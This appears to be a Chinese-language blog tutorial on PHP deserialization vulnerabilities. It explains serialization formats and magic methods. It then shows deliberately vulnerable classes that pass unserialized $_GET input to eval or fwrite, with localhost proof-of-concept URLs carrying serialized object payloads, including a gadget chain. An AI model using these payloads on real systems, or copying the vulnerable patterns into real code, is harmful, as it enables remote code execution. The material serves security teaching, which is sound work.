反序列化漏洞修复_php反序列化漏洞

e58adb8b0611a56861d2da0f139196f7.png前言 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png大家好,我是阿里斯,一名IT行业小白,今天要和大家说一声,我回来了!虽然工作依然很忙,但是我不能停下去了,不然不知道什么时候才能闲下来。为了保证质量,我不能保证日更,只能说尽量更新快点,今天分享一下php反序列化漏洞。 ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.png什么是序列化? 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png

是将变量转换为可保存或传输的字符串的过程
函数:serialize()

字符串对象序列化

$a = "test";echo "序列化:";$aa = serialize($a); #对普通字符串进行序列化print_r($aa . "\n");#输出结果:序列化:s:4:"test";序列化格式介绍   s表示string   4表示长度  test是值

数组对象序列化

$arr = array('name' => 'jack', 'age' => 13);print_r(serialize($arr));#对数组进行序列化#输出结果   a:2:{s:4:"name";s:4:"jack";s:3:"age";i:13;}序列化格式介绍  a表示 array数组   s表示string   4表示字符串长度    name表示字符串值   后面类似

对象序列化

class test {    public $a = 'test';}$class = new test;print_r(serialize($class));#对对象进行序列化#输出结果 O:4:"test":1:{s:1:"a";s:4:"test";}


序列化格式介绍  O表示类  4表示类名长度  test是类名  
o表示对象  

序列化字符含义
a – array 数组 b – boolean布尔型 d –  double双精度型 i – integer o – common object一般对象 r – reference s – string C – custom object 自定义对象 O – class N – null R – pointer reference U –  unicode string unicode编码的字符串

ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.png什么是反序列化? 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png在适当的时候把序列化的字符串再转化成原来的变量使用
函数:unseralize()
对序列化的字符串对象进行反序列化$a = "test";$s_a = serialize($a);$u_a = unserialize($s_a);#反序列化print_r($u_a);#输出结果:test

对序列化的数组对象进行反序列化

$arr = array('name' => 'jack', 'age' => 13);$s_arr = serialize($arr);print_r(unserialize($s_arr));#反序列化#输出结果:Array(    [name] => jack    [age] => 13)

对序列化的对象进行反序列化

class test {    public $a = 'test';}$class = new test;$class_s = serialize($class);$class_u = unserialize($class_s);#反序列化print_r($class_u);#输出结果:test Object(    [a] => test)
ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.png魔术方法及相关方法介绍 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png

当使用unserialize()进行反序列话时,__wakeup()方法(魔术方法)就会被调用

  • __construct():构造函数,当对象创建(new)时会自动调用。unserialize()反序列化时是不会自动调用的。

  • __destruct():析构函数,当对象被销毁时会自动调用。

  • __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。

  • __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。`__

  • __sleep()`:用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用

ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.pngphp反序列化漏洞 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png

反序列化本身是没有漏洞的,但是当反序列化和一些魔术方法结合使用时就可能会产生安全风险。常用的魔术方法__wakeup

反序列化漏洞示例(__wekeup)

class A {    var $test = "demo";    function __wakeup() {        eval($this->test);    }}$b = new A();$c = serialize($b);$a = $_GET['test'];$a_unser = unserialize($a);#漏洞利用poc http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。

反序列化漏洞(__wakeup和文件操作)

require "test.php";//测试方便class A {    var $test = '123';    function __wakeup() {        $fp = fopen("test.php", "w");        fwrite($fp, $this->test);        fclose($fp);    }}$a = new A();print_r(serialize($a));$class1 = $_GET['test'];$class1_unser = unserialize($class1);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php  phpinfo();?>";}

解释:和上面一一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数直接写入test.php文件中,从而导致反序列化漏洞

反序列化漏洞示例(__construct)

require 'test.php';class b {    function __construct($test) {        $fp = fopen("test.php", 'w');        fwrite($fp, $test);        fclose($fp);    }}class a {    var $test = 123;    function __wakeup() {        $obj = new b($this->test);    }}$class = $_GET['test'];$class_u = unserialize($class);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php  phpinfo();?>";}

解释:unserialize()会自动调用__wakeup(),__wakeup中实力化a,这时会调用构造函数__construct,因为构造函数被调用,所传入的参数会作为fwrite的参数写入shell.php文件,从而造成代码执行

类的普通方法——反序列化问题

class maniac {    public $test;    function __construct() {        $this->test = new x1();    }        function __destruct() {        $this->test->action();    }}class x1 {    function action() {        echo "123";    }}class x2 {    public $test2;    function action() {        eval($this->test2);    }}$class2 = new maniac();unserialize($_GET['test']);漏洞利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

解释:maniac实例化,构造方法(\_\_construct)被调用,x1被示例化;反序列执行,析构方法(\_\_destreuct)被调用;如果$\_GET没有传入合法的序列化字符串,就会自动调用x1的action方法,如果$\_GET接收到正确的序列化字符串,那么析构方法就会调用x2的action方法,从而这里就有可能导致任意命令执行

ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.pngphp反序列化漏洞修复方案 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png不要把用户的输入或者是用户可控的参数值直接放进反序列化的操作中 ca94ba5aa2b6d85347d5e30c50382cc0.png e58adb8b0611a56861d2da0f139196f7.png结语 3c9f9b5b92a6328ccc8fe6ca7f4e7199.png 725b9491003a7d860690e3efa7577856.png每次写完文章都想感叹一下,这里看了很多大佬的文章,然后总结出这么点内容,虽然不多,但是对于了解php反序列化产生的安全问题还是有帮助的,最后说一句,表哥们帮我转发下文章,如果文章中有什么不妥之处,也请各位表格指出,谢谢! ca94ba5aa2b6d85347d5e30c50382cc0.png

2bae88f1cf652c8e1044971c2c74b639.png            

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值